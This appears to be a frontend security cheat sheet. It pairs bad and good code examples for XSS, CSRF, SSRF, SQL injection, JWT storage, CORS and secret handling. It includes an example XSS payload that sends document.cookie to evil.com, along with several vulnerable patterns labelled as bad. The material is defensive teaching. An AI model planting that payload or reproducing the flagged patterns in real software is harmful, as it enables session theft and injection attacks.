Frontend Security

Attackers inject malicious JavaScript to steal cookies, session tokens, or perform actions on behalf of users.

<!-- Attacker comment -->
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>

// ❌ BAD
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ✅ GOOD — React escapes
<div>{userInput}</div>

// Sanitize with DOMPurify
const clean = DOMPurify.sanitize(userInput);

• •Escape outputs — convert < to &lt;, > to &gt;
• •Sanitize inputs — DOMPurify, sanitize-html
• •Avoid innerHTML, document.write, eval
• •CSP header — restrict script sources
• •HTTPS — prevent script injection in transit

Content-Security-Policy: default-src 'self'; script-src 'self'

Attackers trick authenticated users into submitting unwanted requests (change password, transfer money).

• •CSRF tokens — unique per session, validate on each request
• •SameSite cookies — Strict or Lax
• •Double submit cookies — token in cookie + header
• •Origin validation — check Origin header
• •Custom headers — X-CSRF-Token (not sent cross-origin automatically)

cookies.set("session", token, {
  sameSite: "Strict",
  secure: true,
  httpOnly: true,
});

fetch("/api/transfer", {
  headers: { "X-CSRF-Token": csrfToken },
});

Attackers trick the server into requesting internal resources (localhost, internal APIs).

• •URL validation — whitelist allowed domains
• •Disable URL redirects
• •Block internal IPs — localhost, 127.0.0.1, private ranges
• •Use timeouts on outbound requests
• •Require auth for URL-fetch endpoints

const ALLOWED = ["google.com", "github.com"];

function validateURL(url: string) {
  const parsed = new URL(url);
  if (!ALLOWED.includes(parsed.hostname)) {
    throw new Error("Invalid domain");
  }
  if (parsed.hostname === "localhost") {
    throw new Error("Internal IP blocked");
  }
}

Attackers access objects by changing IDs — /api/users/123 → /api/users/124.

• •Access controls — check permissions on every request
• •Indirect references — use opaque tokens instead of sequential IDs
• •Authorization — enforce on both client and server (server is authoritative)

Brute force, credential stuffing, session hijacking.

• •HTTPS on all endpoints
• •Rate limiting — 5 attempts per minute
• •Strong passwords — bcrypt hashing
• •JWT in httpOnly cookie with short expiry + refresh token
• •Multi-Factor Authentication (MFA)

• •localStorage — vulnerable to XSS (any script can read it)
• •No expiry — tokens valid indefinitely
• •Cannot revoke — no server-side invalidation before expiry
• •Interception — man-in-the-middle without HTTPS

// ❌ BAD — XSS can steal token
localStorage.setItem("jwt", token);

// ✅ GOOD — httpOnly cookie
cookies.set("jwt", token, {
  httpOnly: true,
  secure: true,
  sameSite: "Strict",
});

const jwt = sign({ userId: 123 }, secret, { expiresIn: "15m" });

Attackers inject SQL via user input to bypass auth or read data.

// ❌ BAD
const query = `SELECT * FROM users WHERE email = '${email}'`;

// ✅ GOOD — parameterized
await db.query("SELECT * FROM users WHERE email = $1", [email]);

// ✅ BEST — ORM
await prisma.user.findUnique({ where: { email } });

Browser blocks cross-origin requests unless explicitly allowed.

• •Set proper CORS headers on server
• •Whitelist trusted origins only
• •Avoid Access-Control-Allow-Origin: * for authenticated APIs

headers.set("Access-Control-Allow-Origin", "https://trusted.com");
headers.set("Access-Control-Allow-Methods", "GET, POST");
headers.set("Access-Control-Allow-Headers", "Content-Type");

• •Audit — npm audit, Snyk, GitHub Dependabot
• •Vet libraries — recent updates, community trust
• •Lock versions — package-lock.json
• •Avoid obscure packages with low maintenance

npm audit --production
npm update

• •Never expose API keys in frontend bundle
• •Environment variables — backend only
• •Secrets manager — AWS Secrets Manager, Azure Key Vault
• •Rotate secrets every 30–90 days

// ❌ BAD — exposed in bundle
const API_KEY = "sk-1234567890";

// ✅ GOOD — backend only
const API_KEY = process.env.API_KEY;